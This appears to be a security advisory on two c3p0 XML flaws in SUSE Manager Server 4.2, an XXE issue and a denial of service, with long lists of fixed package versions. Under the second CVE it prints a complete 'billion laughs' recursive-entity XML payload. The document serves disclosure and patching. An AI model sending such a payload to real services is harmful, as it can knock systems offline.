Risk | Medium |
Patch available | YES |
Number of vulnerabilities | 2 |
CVE-ID | CVE-2018-20433 CVE-2019-5427 |
CWE-ID | CWE-611 CWE-20 |
Exploitation vector | Network |
Public exploit | Public exploit code for vulnerability #2 is available. |
Vulnerable software |
SUSE Linux Enterprise Module for SUSE Manager Server Operating systems & Components / Operating system SUSE Manager Server Operating systems & Components / Operating system virtualization-formulas Operating systems & Components / Operating system package or component uyuni-config-modules Operating systems & Components / Operating system package or component susemanager-sls Operating systems & Components / Operating system package or component susemanager-schema Operating systems & Components / Operating system package or component susemanager-docs_en-pdf Operating systems & Components / Operating system package or component susemanager-docs_en Operating systems & Components / Operating system package or component susemanager-doc-indexes Operating systems & Components / Operating system package or component suseRegisterInfo Operating systems & Components / Operating system package or component supportutils-plugin-susemanager Operating systems & Components / Operating system package or component subscription-matcher Operating systems & Components / Operating system package or component spacewalk-taskomatic Operating systems & Components / Operating system package or component spacewalk-java-postgresql Operating systems & Components / Operating system package or component spacewalk-java-lib Operating systems & Components / Operating system package or component spacewalk-java-config Operating systems & Components / Operating system package or component spacewalk-java Operating systems & Components / Operating system package or component spacewalk-html Operating systems & Components / Operating system package or component spacewalk-config Operating systems & Components / Operating system package or component spacewalk-client-tools Operating systems & Components / Operating system package or component spacewalk-certs-tools Operating systems & Components / Operating system package or component spacewalk-base-minimal-config Operating systems & Components / Operating system package or component spacewalk-base-minimal Operating systems & Components / Operating system package or component spacewalk-base Operating systems & Components / Operating system package or component spacewalk-backend-xmlrpc Operating systems & Components / Operating system package or component spacewalk-backend-xml-export-libs Operating systems & Components / Operating system package or component spacewalk-backend-tools Operating systems & Components / Operating system package or component spacewalk-backend-sql-postgresql Operating systems & Components / Operating system package or component spacewalk-backend-sql Operating systems & Components / Operating system package or component spacewalk-backend-server Operating systems & Components / Operating system package or component spacewalk-backend-package-push-server Operating systems & Components / Operating system package or component spacewalk-backend-iss-export Operating systems & Components / Operating system package or component spacewalk-backend-iss Operating systems & Components / Operating system package or component spacewalk-backend-config-files-tool Operating systems & Components / Operating system package or component spacewalk-backend-config-files-common Operating systems & Components / Operating system package or component spacewalk-backend-config-files Operating systems & Components / Operating system package or component spacewalk-backend-applet Operating systems & Components / Operating system package or component spacewalk-backend-app Operating systems & Components / Operating system package or component spacewalk-backend Operating systems & Components / Operating system package or component spacewalk-admin Operating systems & Components / Operating system package or component spacecmd Operating systems & Components / Operating system package or component saltboot-formula Operating systems & Components / Operating system package or component python3-suseRegisterInfo Operating systems & Components / Operating system package or component python3-spacewalk-client-tools Operating systems & Components / Operating system package or component python3-spacewalk-certs-tools Operating systems & Components / Operating system package or component python3-rhnlib Operating systems & Components / Operating system package or component python3-mgr-push Operating systems & Components / Operating system package or component python3-mgr-osa-dispatcher Operating systems & Components / Operating system package or component python3-mgr-osa-common Operating systems & Components / Operating system package or component prometheus-exporters-formula Operating systems & Components / Operating system package or component mgr-push Operating systems & Components / Operating system package or component mgr-osa-dispatcher Operating systems & Components / Operating system package or component grafana-formula Operating systems & Components / Operating system package or component c3p0 Operating systems & Components / Operating system package or component susemanager-tools Operating systems & Components / Operating system package or component susemanager Operating systems & Components / Operating system package or component spacewalk-branding Operating systems & Components / Operating system package or component smdba Operating systems & Components / Operating system package or component py26-compat-msgpack-python-debugsource Operating systems & Components / Operating system package or component py26-compat-msgpack-python-debuginfo Operating systems & Components / Operating system package or component py26-compat-msgpack-python Operating systems & Components / Operating system package or component patterns-suma_server Operating systems & Components / Operating system package or component patterns-suma_retail Operating systems & Components / Operating system package or component inter-server-sync-debuginfo Operating systems & Components / Operating system package or component inter-server-sync Operating systems & Components / Operating system package or component hub-xmlrpc-api Operating systems & Components / Operating system package or component |
Vendor | SUSE |
Security Bulletin
This security bulletin contains information about 2 vulnerabilities.
EUVDB-ID: #VU18784
Risk: Medium
CVSSv4.0: 2.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/U:Green]
CVE-ID: CVE-2018-20433
CWE-ID:
CWE-611 - Improper Restriction of XML External Entity Reference ('XXE')
Exploit availability: No
DescriptionThe vulnerability allows a remote attacker to gain access to sensitive information.
The vulnerability exists due to insufficient validation of user-supplied XML input within the extractXmlConfigFromInputStream() method in com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java file during initialization. A remote attacker can pass a specially crafted XML code to the affected application and view contents of arbitrary files on the system or initiate requests to external systems.
Successful exploitation of the vulnerability may allow an attacker to view contents of arbitrary file on the server or perform network scanning of internal and external infrastructure.
MitigationUpdate the affected package SUSE Manager Server 4.2 to the latest version.
Vulnerable software versionsSUSE Linux Enterprise Module for SUSE Manager Server: 4.2
SUSE Manager Server: 4.2
virtualization-formulas: before 0.6.2-150300.8.6.1
uyuni-config-modules: before 4.2.21-150300.3.20.1
susemanager-sls: before 4.2.21-150300.3.20.1
susemanager-schema: before 4.2.21-150300.3.18.1
susemanager-docs_en-pdf: before 4.2-150300.12.22.1
susemanager-docs_en: before 4.2-150300.12.22.1
susemanager-doc-indexes: before 4.2-150300.12.22.1
suseRegisterInfo: before 4.2.6-150300.4.9.1
supportutils-plugin-susemanager: before 4.2.4-150300.3.6.1
subscription-matcher: before 0.29-150300.6.6.1
spacewalk-taskomatic: before 4.2.34-150300.3.26.2
spacewalk-java-postgresql: before 4.2.34-150300.3.26.2
spacewalk-java-lib: before 4.2.34-150300.3.26.2
spacewalk-java-config: before 4.2.34-150300.3.26.2
spacewalk-java: before 4.2.34-150300.3.26.2
spacewalk-html: before 4.2.26-150300.3.18.2
spacewalk-config: before 4.2.6-150300.3.6.1
spacewalk-client-tools: before 4.2.18-150300.4.18.1
spacewalk-certs-tools: before 4.2.15-150300.3.15.1
spacewalk-base-minimal-config: before 4.2.26-150300.3.18.2
spacewalk-base-minimal: before 4.2.26-150300.3.18.2
spacewalk-base: before 4.2.26-150300.3.18.2
spacewalk-backend-xmlrpc: before 4.2.20-150300.4.18.1
spacewalk-backend-xml-export-libs: before 4.2.20-150300.4.18.1
spacewalk-backend-tools: before 4.2.20-150300.4.18.1
spacewalk-backend-sql-postgresql: before 4.2.20-150300.4.18.1
spacewalk-backend-sql: before 4.2.20-150300.4.18.1
spacewalk-backend-server: before 4.2.20-150300.4.18.1
spacewalk-backend-package-push-server: before 4.2.20-150300.4.18.1
spacewalk-backend-iss-export: before 4.2.20-150300.4.18.1
spacewalk-backend-iss: before 4.2.20-150300.4.18.1
spacewalk-backend-config-files-tool: before 4.2.20-150300.4.18.1
spacewalk-backend-config-files-common: before 4.2.20-150300.4.18.1
spacewalk-backend-config-files: before 4.2.20-150300.4.18.1
spacewalk-backend-applet: before 4.2.20-150300.4.18.1
spacewalk-backend-app: before 4.2.20-150300.4.18.1
spacewalk-backend: before 4.2.20-150300.4.18.1
spacewalk-admin: before 4.2.10-150300.3.9.1
spacecmd: before 4.2.16-150300.4.18.1
saltboot-formula: before 0.1.1645440615.7f1328c-150300.3.9.1
python3-suseRegisterInfo: before 4.2.6-150300.4.9.1
python3-spacewalk-client-tools: before 4.2.18-150300.4.18.1
python3-spacewalk-certs-tools: before 4.2.15-150300.3.15.1
python3-rhnlib: before 4.2.6-150300.4.9.1
python3-mgr-push: before 4.2.5-150300.2.9.1
python3-mgr-osa-dispatcher: before 4.2.8-150300.2.9.1
python3-mgr-osa-common: before 4.2.8-150300.2.9.1
prometheus-exporters-formula: before 1.2.0-150300.3.9.1
mgr-push: before 4.2.5-150300.2.9.1
mgr-osa-dispatcher: before 4.2.8-150300.2.9.1
grafana-formula: before 0.7.0-150300.3.6.1
c3p0: before 0.9.5.5-150300.4.6.1
susemanager-tools: before 4.2.28-150300.3.22.1
susemanager: before 4.2.28-150300.3.22.1
spacewalk-branding: before 4.2.13-150300.3.9.1
smdba: before 1.7.10-0.150300.3.3.1
py26-compat-msgpack-python-debugsource: before 0.4.6-150300.4.3.1
py26-compat-msgpack-python-debuginfo: before 0.4.6-150300.4.3.1
py26-compat-msgpack-python: before 0.4.6-150300.4.3.1
patterns-suma_server: before 4.2-150300.4.9.1
patterns-suma_retail: before 4.2-150300.4.9.1
inter-server-sync-debuginfo: before 0.1.0-150300.8.12.1
inter-server-sync: before 0.1.0-150300.8.12.1
hub-xmlrpc-api: before 0.7-150300.3.6.1
CPE2.3https://www.suse.com/support/update/announcement/2022/suse-su-20221397-1/
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability.
EUVDB-ID: #VU18785
Risk: Medium
CVSSv4.0: 7.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/U:Green]
CVE-ID: CVE-2019-5427
CWE-ID:
CWE-20 - Improper input validation
Exploit availability: No
DescriptionThe vulnerability allows a remote attacker to perform a denial of service (DoS) attack.
The vulnerability exists due to insufficient validation of user-supplied input when processing XML files within the c3p0/src/java/com/mchange/v2/c3p0/cfg/C3P0ConfigXmlUtils.java
. A remote attacker can create a specially crafted XML file, pass it to the affected application and trigger recursive entity expansion when loading configuration. This results in denial of service (DoS) attack aka billion laughs attack.
Exploit:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
Mitigation
Update the affected package SUSE Manager Server 4.2 to the latest version.
Vulnerable software versionsSUSE Linux Enterprise Module for SUSE Manager Server: 4.2
SUSE Manager Server: 4.2
virtualization-formulas: before 0.6.2-150300.8.6.1
uyuni-config-modules: before 4.2.21-150300.3.20.1
susemanager-sls: before 4.2.21-150300.3.20.1
susemanager-schema: before 4.2.21-150300.3.18.1
susemanager-docs_en-pdf: before 4.2-150300.12.22.1
susemanager-docs_en: before 4.2-150300.12.22.1
susemanager-doc-indexes: before 4.2-150300.12.22.1
suseRegisterInfo: before 4.2.6-150300.4.9.1
supportutils-plugin-susemanager: before 4.2.4-150300.3.6.1
subscription-matcher: before 0.29-150300.6.6.1
spacewalk-taskomatic: before 4.2.34-150300.3.26.2
spacewalk-java-postgresql: before 4.2.34-150300.3.26.2
spacewalk-java-lib: before 4.2.34-150300.3.26.2
spacewalk-java-config: before 4.2.34-150300.3.26.2
spacewalk-java: before 4.2.34-150300.3.26.2
spacewalk-html: before 4.2.26-150300.3.18.2
spacewalk-config: before 4.2.6-150300.3.6.1
spacewalk-client-tools: before 4.2.18-150300.4.18.1
spacewalk-certs-tools: before 4.2.15-150300.3.15.1
spacewalk-base-minimal-config: before 4.2.26-150300.3.18.2
spacewalk-base-minimal: before 4.2.26-150300.3.18.2
spacewalk-base: before 4.2.26-150300.3.18.2
spacewalk-backend-xmlrpc: before 4.2.20-150300.4.18.1
spacewalk-backend-xml-export-libs: before 4.2.20-150300.4.18.1
spacewalk-backend-tools: before 4.2.20-150300.4.18.1
spacewalk-backend-sql-postgresql: before 4.2.20-150300.4.18.1
spacewalk-backend-sql: before 4.2.20-150300.4.18.1
spacewalk-backend-server: before 4.2.20-150300.4.18.1
spacewalk-backend-package-push-server: before 4.2.20-150300.4.18.1
spacewalk-backend-iss-export: before 4.2.20-150300.4.18.1
spacewalk-backend-iss: before 4.2.20-150300.4.18.1
spacewalk-backend-config-files-tool: before 4.2.20-150300.4.18.1
spacewalk-backend-config-files-common: before 4.2.20-150300.4.18.1
spacewalk-backend-config-files: before 4.2.20-150300.4.18.1
spacewalk-backend-applet: before 4.2.20-150300.4.18.1
spacewalk-backend-app: before 4.2.20-150300.4.18.1
spacewalk-backend: before 4.2.20-150300.4.18.1
spacewalk-admin: before 4.2.10-150300.3.9.1
spacecmd: before 4.2.16-150300.4.18.1
saltboot-formula: before 0.1.1645440615.7f1328c-150300.3.9.1
python3-suseRegisterInfo: before 4.2.6-150300.4.9.1
python3-spacewalk-client-tools: before 4.2.18-150300.4.18.1
python3-spacewalk-certs-tools: before 4.2.15-150300.3.15.1
python3-rhnlib: before 4.2.6-150300.4.9.1
python3-mgr-push: before 4.2.5-150300.2.9.1
python3-mgr-osa-dispatcher: before 4.2.8-150300.2.9.1
python3-mgr-osa-common: before 4.2.8-150300.2.9.1
prometheus-exporters-formula: before 1.2.0-150300.3.9.1
mgr-push: before 4.2.5-150300.2.9.1
mgr-osa-dispatcher: before 4.2.8-150300.2.9.1
grafana-formula: before 0.7.0-150300.3.6.1
c3p0: before 0.9.5.5-150300.4.6.1
susemanager-tools: before 4.2.28-150300.3.22.1
susemanager: before 4.2.28-150300.3.22.1
spacewalk-branding: before 4.2.13-150300.3.9.1
smdba: before 1.7.10-0.150300.3.3.1
py26-compat-msgpack-python-debugsource: before 0.4.6-150300.4.3.1
py26-compat-msgpack-python-debuginfo: before 0.4.6-150300.4.3.1
py26-compat-msgpack-python: before 0.4.6-150300.4.3.1
patterns-suma_server: before 4.2-150300.4.9.1
patterns-suma_retail: before 4.2-150300.4.9.1
inter-server-sync-debuginfo: before 0.1.0-150300.8.12.1
inter-server-sync: before 0.1.0-150300.8.12.1
hub-xmlrpc-api: before 0.7-150300.3.6.1
CPE2.3https://www.suse.com/support/update/announcement/2022/suse-su-20221397-1/
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.